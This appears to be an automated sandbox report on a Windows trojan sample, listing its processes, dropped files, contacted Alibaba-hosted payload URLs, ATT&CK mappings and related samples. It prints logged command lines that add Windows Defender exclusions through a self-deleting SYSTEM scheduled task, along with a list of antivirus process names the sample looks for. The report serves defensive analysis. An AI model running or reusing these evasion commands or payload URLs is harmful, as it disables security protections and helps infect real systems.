Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_00007FFE1A52FD40 cpuid

4_2_00007FFE1A52FD40

Source: C:\Users\user\Documents\77WmQZ.exe	Code function: GetLocaleInfoA,	4_2_000000014000F370
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: GetLocaleInfoA,	40_2_00C36B1A
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: GetLocaleInfoA,	42_2_00B06B1A
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: GetLocaleInfoA,	47_2_00E36B1A

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_000000014000A370 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

4_2_000000014000A370

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_0000000140005A70 GetStartupInfoW,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

4_2_0000000140005A70

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Safe.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: ashDisp.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avgwdsvc.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: AYAgent.aye
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: QUHLPSVC.EXE
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe
Source: 77WmQZ.exe, 00000004.00000002.2180482173.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: K7TSecurity.exe

Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_00000001400042B0 EnterCriticalSection,CancelWaitableTimer,SetEvent,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,RpcServerUnregisterIf,RpcMgmtStopServerListening,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,#4,#4,#4,LeaveCriticalSection,DeleteCriticalSection,#4,		4_2_00000001400042B0
Source: C:\Users\user\Documents\77WmQZ.exe	Code function: 4_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,		4_2_0000000140003F80

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	33 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	224 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	33 Windows Service	1 Timestomp	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	32 Masquerading	Cached Domain Credentials	111 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2834573-3676874985.02.exe	22%	Virustotal		Browse
2834573-3676874985.02.exe	26%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\vtAIyr\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\vtAIyr\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\vtAIyr\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\vtAIyr\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	0%	ReversingLabs
C:\Program Files (x86)\vtAIyr\vtAIyr.exe	0%	ReversingLabs
C:\Program Files (x86)\yKOHid\5fuoTf.exe	0%	ReversingLabs
C:\Users\user\Documents\77WmQZ.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://vien3h.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpgt	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002y	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg5	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datexe	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgE	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg9	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002E	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/s.dat	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgk	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/i.dat	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifdc	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg%	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com:443/i.dat	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat=	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002	0%	Avira URL Cloud	safe
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datX	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com:443/a.gif	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/s.jpg	0%	Avira URL Cloud	safe
https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	118.178.60.9	true	false	high
sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	39.103.20.17	true	false	unknown
ufozdv.net	unknown	unknown	false	unknown
vien3h.oss-cn-beijing.aliyuncs.com	unknown	unknown	false	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false	high
22mm.oss-cn-hangzhou.aliyuncs.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/b.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/i.dat	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/s.dat	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/c.gif	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg	false		high
https://vien3h.oss-cn-beijing.aliyuncs.com/d.gif	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/s.jpg	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpghttps://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-51	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg9	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifhttps://vien3h.oss-cn-beijing.aliyuncs.com/b.gifhttp	2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpgt	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg5	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002y	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgE	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/	2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datexe	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002E	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com/a.gifdc	2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com:443/i.dat	2834573-3676874985.02.exe, 00000000.00000003.2000633101.0000000001061000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpgk	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 189atohci.sys.0.dr, 77WmQZ.exe.0.dr	false		high
http://www.symauth.com/rpa00	2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe.0.dr	false		high
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.dat=	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/drops.jpg%	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/17-2476756634-1002	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/1-2246122658-3693405117-2476756634-1002	77WmQZ.exe, 00000005.00000003.2396205751.0000000000647000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://22mm.oss-cn-hangzhou.aliyuncs.com/f.datX	77WmQZ.exe, 00000005.00000003.2376557574.0000000000686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vien3h.oss-cn-beijing.aliyuncs.com:443/a.gif	2834573-3676874985.02.exe, 00000000.00000003.2024950433.00000000010A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
39.103.20.17	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
118.178.60.9	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
8.217.59.222	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591556
Start date and time:	2025-01-15 04:21:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2834573-3676874985.02.exe
Detection:	MAL
Classification:	mal100.rans.evad.winEXE@71/32@33/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 89% Number of executed functions: 20 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.242.39.171, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target vtAIyr.exe, PID 3660 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:22:55	Task Scheduler	Run new task: 1iogP path: C:\Users\user\Documents\77WmQZ.exe
03:23:42	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 P62El path: C:\Program Files (x86)\vtAIyr\vtAIyr.exe
03:23:44	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 WjKuC path: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe
22:22:09	API Interceptor	11x Sleep call for process: 2834573-3676874985.02.exe modified
22:23:39	API Interceptor	15124x Sleep call for process: 77WmQZ.exe modified
22:23:41	API Interceptor	77747x Sleep call for process: vtAIyr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
39.103.20.17	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
118.178.60.9	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse
	2o63254452-763487230.06.exe	Get hash	malicious	Nitol	Browse
	e2664726330-76546233.05.exe	Get hash	malicious	Nitol	Browse
8.217.59.222	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	149876985-734579485.05.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse	118.178.60.9
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse	118.178.60.9
	2o63254452-763487230.06.exe	Get hash	malicious	Nitol	Browse	118.178.60.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	hsmSW6Eifl.dll	Get hash	malicious	Wannacry	Browse	8.157.48.1
	m9oUIFauYl.dll	Get hash	malicious	Wannacry	Browse	8.157.50.194
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	120.76.196.118
	meth1.elf	Get hash	malicious	Mirai	Browse	120.55.158.191
	meth4.elf	Get hash	malicious	Mirai	Browse	8.158.74.79
	i486.elf	Get hash	malicious	Unknown	Browse	8.152.237.14
	mips.elf	Get hash	malicious	Unknown	Browse	8.158.74.73
	mpsl.elf	Get hash	malicious	Unknown	Browse	8.182.17.7
	meth6.elf	Get hash	malicious	Mirai	Browse	106.11.60.229
	meth7.elf	Get hash	malicious	Mirai	Browse	47.102.47.15
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	http://tretiktok.com/	Get hash	malicious	Unknown	Browse	47.91.24.166
	https://teiegtrm.cc/EN/	Get hash	malicious	Telegram Phisher	Browse	47.251.1.68
	https://teiegtrm.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	47.251.1.68
	https://teiegroj.cc/ZH/	Get hash	malicious	Telegram Phisher	Browse	47.89.192.18
	https://teiegroj.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	47.89.192.18
	https://teiegrvu.cc/VN/	Get hash	malicious	Telegram Phisher	Browse	198.11.177.38
	i686.elf	Get hash	malicious	Unknown	Browse	8.208.25.56
	mpsl.elf	Get hash	malicious	Unknown	Browse	47.255.177.105
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	8.217.78.242
	https://offfryfjtht767755433.webflow.io/	Get hash	malicious	Unknown	Browse	47.253.61.56
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	hsmSW6Eifl.dll	Get hash	malicious	Wannacry	Browse	8.157.48.1
	m9oUIFauYl.dll	Get hash	malicious	Wannacry	Browse	8.157.50.194
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	120.76.196.118
	meth1.elf	Get hash	malicious	Mirai	Browse	120.55.158.191
	meth4.elf	Get hash	malicious	Mirai	Browse	8.158.74.79
	i486.elf	Get hash	malicious	Unknown	Browse	8.152.237.14
	mips.elf	Get hash	malicious	Unknown	Browse	8.158.74.73
	mpsl.elf	Get hash	malicious	Unknown	Browse	8.182.17.7
	meth6.elf	Get hash	malicious	Mirai	Browse	106.11.60.229
	meth7.elf	Get hash	malicious	Mirai	Browse	47.102.47.15

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	39.103.20.17
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	39.103.20.17
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	39.103.20.17
	mWAik6b.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	39.103.20.17
	lumma1.exe	Get hash	malicious	LummaC	Browse	39.103.20.17
	VRO.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
	VRO.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	39.103.20.17
37f463bf4616ecd445d4a1937da06e19	regsvr.exe	Get hash	malicious	Unknown	Browse	118.178.60.9
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	118.178.60.9
	inward_payment_confirmation_reference_Z1766053541_notifications.bat.exe	Get hash	malicious	Remcos, GuLoader	Browse	118.178.60.9
	1KaTo6P18Z.doc	Get hash	malicious	Unknown	Browse	118.178.60.9
